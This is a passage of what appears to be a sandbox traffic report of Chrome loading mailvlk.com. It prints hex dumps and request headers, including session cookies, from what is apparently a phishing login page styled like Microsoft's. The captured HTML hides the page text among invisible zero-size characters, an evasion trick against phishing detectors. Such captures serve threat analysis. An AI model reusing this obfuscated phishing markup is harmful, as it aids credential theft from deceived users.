0); max-width: 0.01px; max-h
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 61 6c 65 72 74 22 20 61 72 69 61 2d 6c 69 76 65 3d 22 61 73 73 65 72 74 69 76 65 22 3e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 68 69 64 64 65 6e 3d 22 22 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 32 34 20 65 72 72 6f 72 20 65 78 74 2d 65 72 72 6f 72 22 20 69 64 3d 22 75 73 65 72 6e 61 6d 65 45 72 72 6f 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 45 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c Data Ascii: <div role="alert" aria-live="assertive"> </div> <div hidden="" class="col-md-24 error ext-error" id="usernameError"> E<span style="displ
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 3a 20 30 2e 30 32 70 78 3b 22 3e 6b 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6b 3c 2f 73 70 61 6e 3e 6c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a Data Ascii: : 0.02px;">k</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">k</span>l<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-siz
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6b 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6b 3c 2f 73 70 61 6e 3e 64 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 Data Ascii: : 0.01px; max-height: 0.03px; font-size: 0.02px;">k</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">k</span>d<span style="display: inline; color: rgba(26, 125, 117, 0); max-widt
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6b 3c 2f 73 70 61 6e 3e 6f 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6b 3c 2f 73 70 61 6e 3e 6e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b Data Ascii: color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">k</span>o<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">k</span>n<span style="display: inline;
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 6b 3c 2f 73 70 61 6e 3e 2c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6b 3c 2f 73 70 61 6e 3e 20 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 Data Ascii: k</span>,<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">k</span> <span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;"
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6b 3c 2f 73 70 61 6e 3e 6e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6b 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 Data Ascii: ax-height: 0.03px; font-size: 0.02px;">k</span>n<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">k</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.17	49781	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:24 UTC	1197	OUT	GET /APP-58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe0/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe1 HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:25 UTC	735	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:24 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Wed, 01 May 2024 13:43:24 GMT last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5PdHJpCeY8Xa7xNNwsMczqKClskQvNdeFDbiMHo0trMHkh%2BocHzDUIY9r%2B2j845v%2BpzAf8uYmEQtgiWyYHxo9HhmKAUQix8YC7BTlsqygPkEwzWWUivK6QaCaOFddA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879685aadb67db8a-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:25 UTC	634	IN	Data Raw: 37 63 64 32 0d 0a 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6d 61 69 6e 2c 6d 65 6e 75 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 2c 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 70 72 6f 67 72 65 73 73 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f Data Ascii: 7cd2html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-blo
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 69 76 65 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 7d 73 75 70 7b 74 6f 70 3a 2d 30 2e 35 65 6d 7d 73 75 62 7b 62 6f 74 74 6f 6d 3a 2d 30 2e 32 35 65 6d 7d 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 66 69 67 75 72 65 7b 6d 61 72 67 69 6e 3a 31 65 6d 20 34 30 70 78 7d 68 72 7b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 68 65 69 67 68 74 3a 30 7d 70 72 65 7b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 7d 63 6f 64 65 2c 6b 62 64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 6d 6f 6e 6f 73 70 61 63 65 2c 6d 6f 6e 6f 73 Data Ascii: ive;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monos
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2a 3a 62 65 66 6f 72 65 2c 2a 3a 61 66 74 65 72 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 69 6e 70 75 74 2c 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 61 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 74 68 69 6e 20 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 Data Ascii: der-box;box-sizing:border-box}:before,:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a:focus{outline:thin dotted;outline-offset
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 6e 65 7d 61 3a 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 30 30 36 37 62 38 7d 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 36 37 62 38 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 36 36 36 7d 61 3a 66 6f 63 75 73 7b 63 6f 6c 6f 72 3a 23 30 30 36 37 62 38 7d 61 3a 61 63 74 69 76 65 7b 63 6f 6c 6f 72 3a 23 39 39 39 7d 2e 74 65 78 74 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 74 65 78 74 2d 6a 75 73 74 69 66 79 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6a 75 73 74 69 66 79 7d 2e 74 65 78 74 2d 6e 6f 77 72 61 70 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 74 65 78 74 2d 6c 6f 77 65 72 63 61 73 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6c 6f 77 65 72 63 61 73 65 7d 2e 74 65 78 74 2d 75 70 70 Data Ascii: ne}a:link{color:#0067b8}a:visited{color:#0067b8}a:hover{color:#666}a:focus{color:#0067b8}a:active{color:#999}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-upp
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 6d 61 78 2d 68 65 69 67 68 74 3a 38 34 2e 35 34 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 35 2e 32 38 33 39 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 6c 69 6e 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 36 34 2e 35 34 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 2e 32 38 33 39 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 6c 69 6e 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 7b 6d 61 78 2d 68 65 69 67 68 74 3a 32 34 34 2e 35 34 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 35 2e 32 38 33 39 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 6c 69 6e 65 2e 74 65 78 74 2d 6d 61 78 6c Data Ascii: space:nowrap;text-overflow:ellipsis;max-height:84.5432px;max-height:5.28395rem}.text-headline.text-maxlines-2{max-height:164.5432px;max-height:10.28395rem}.text-headline.text-maxlines-3{max-height:244.5432px;max-height:15.28395rem}.text-headline.text-maxl
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 2d 34 2c 68 32 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 36 36 2e 33 36 32 34 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 2e 33 39 37 36 35 72 65 6d 7d 2e 74 65 78 74 2d 74 69 74 6c 65 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 38 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 37 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 2e 33 36 33 32 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 2e 33 36 33 32 70 78 7d 2e 74 65 78 74 2d 74 69 74 6c 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 2c 68 33 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 Data Ascii: -4,h2.text-maxlines-4{max-height:166.3624px;max-height:10.39765rem}.text-title,h3{font-size:24px;line-height:28px;font-weight:300;font-size:1.5rem;line-height:1.75rem;padding-bottom:2.3632px;padding-top:2.3632px}.text-title.text-maxlines-1,h3.text-maxline
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 36 2e 33 36 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 2e 30 32 32 37 72 65 6d 7d 2e 74 65 78 74 2d 63 61 70 74 69 6f 6e 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 2c 68 35 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 7b 6d 61 78 2d 68 65 69 67 68 74 3a 33 30 2e 33 36 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 2e 38 39 37 37 72 65 6d 7d 2e 74 65 78 74 2d 63 61 70 74 69 6f 6e 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 2c 68 35 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 7b 6d 61 78 2d 68 65 69 67 68 74 3a 34 34 2e 33 36 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 2e 37 37 32 37 72 65 6d Data Ascii: e:nowrap;text-overflow:ellipsis;max-height:16.3632px;max-height:1.0227rem}.text-caption.text-maxlines-2,h5.text-maxlines-2{max-height:30.3632px;max-height:1.8977rem}.text-caption.text-maxlines-3,h5.text-maxlines-3{max-height:44.3632px;max-height:2.7727rem
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 30 2e 39 30 38 38 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 2e 35 35 36 38 72 65 6d 7d 2e 74 65 78 74 2d 62 6f 64 79 2c 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 2e 32 32 37 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 2e 32 32 37 70 78 7d 2e 74 65 78 74 2d 62 6f 64 79 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 2c 70 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 Data Ascii: 0.9088px;max-height:2.5568rem}.text-body,p{font-size:15px;line-height:20px;font-weight:400;font-size:.9375rem;line-height:1.25rem;padding-bottom:.227px;padding-top:.227px}.text-body.text-maxlines-1,p.text-maxlines-1{white-space:nowrap;text-overflow:ellips
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 34 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 70 78 7d 62 6c 6f 63 6b 71 75 6f 74 65 7b 70 61 64 64 69 6e 67 3a 38 70 78 20 31 32 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 32 70 78 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 2d 72 65 76 65 72 73 65 2c 62 6c 6f 63 6b 71 75 6f 74 65 2e 70 75 6c 6c 2d 72 69 67 68 74 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 32 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 32 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 Data Ascii: nline-block;padding-left:4px;padding-right:4px}blockquote{padding:8px 12px;margin:0 0 12px}.blockquote-reverse,blockquote.pull-right{padding-right:12px;padding-left:0;text-align:right}address{margin-bottom:12px}.container,.container-fluid{margin-right:aut
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 2d 31 38 2c 2e 63 6f 6c 2d 73 6d 2d 31 38 2c 2e 63 6f 6c 2d 6d 64 2d 31 38 2c 2e 63 6f 6c 2d 6c 67 2d 31 38 2c 2e 63 6f 6c 2d 78 73 2d 31 39 2c 2e 63 6f 6c 2d 73 6d 2d 31 39 2c 2e 63 6f 6c 2d 6d 64 2d 31 39 2c 2e 63 6f 6c 2d 6c 67 2d 31 39 2c 2e 63 6f 6c 2d 78 73 2d 32 30 2c 2e 63 6f 6c 2d 73 6d 2d 32 30 2c 2e 63 6f 6c 2d 6d 64 2d 32 30 2c 2e 63 6f 6c 2d 6c 67 2d 32 30 2c 2e 63 6f 6c 2d 78 73 2d 32 31 2c 2e 63 6f 6c 2d 73 6d 2d 32 31 2c 2e 63 6f 6c 2d 6d 64 2d 32 31 2c 2e 63 6f 6c 2d 6c 67 2d 32 31 2c 2e 63 6f 6c 2d 78 73 2d 32 32 2c 2e 63 6f 6c 2d 73 6d 2d 32 32 2c 2e 63 6f 6c 2d 6d 64 2d 32 32 2c 2e 63 6f 6c 2d 6c 67 2d 32 32 2c 2e 63 6f 6c 2d 78 73 2d 32 33 2c 2e 63 6f 6c 2d 73 6d 2d 32 33 2c 2e 63 6f 6c 2d 6d 64 2d 32 33 2c 2e 63 6f 6c 2d 6c 67 2d 32 Data Ascii: -18,.col-sm-18,.col-md-18,.col-lg-18,.col-xs-19,.col-sm-19,.col-md-19,.col-lg-19,.col-xs-20,.col-sm-20,.col-md-20,.col-lg-20,.col-xs-21,.col-sm-21,.col-md-21,.col-lg-21,.col-xs-22,.col-sm-22,.col-md-22,.col-lg-22,.col-xs-23,.col-sm-23,.col-md-23,.col-lg-2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.17	49785	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:24 UTC	1195	OUT	GET /o/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcb00b HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:25 UTC	738	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:24 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Wed, 01 May 2024 13:43:24 GMT last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tD3hQkiHu1%2FYpB9ctPsZQgqycGy2PexCwNlJZXnE9h6K9pEuyt7NURvJfn2cNx09usTNsZ1%2BV1t20hn4ZEts30Xmwpfn3Xc5lCQ6XVtF4Rntme2xvhM4dBlOEbbEMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879685aada2c103c-LAX alt-svc: h3=":443"; ma=86400
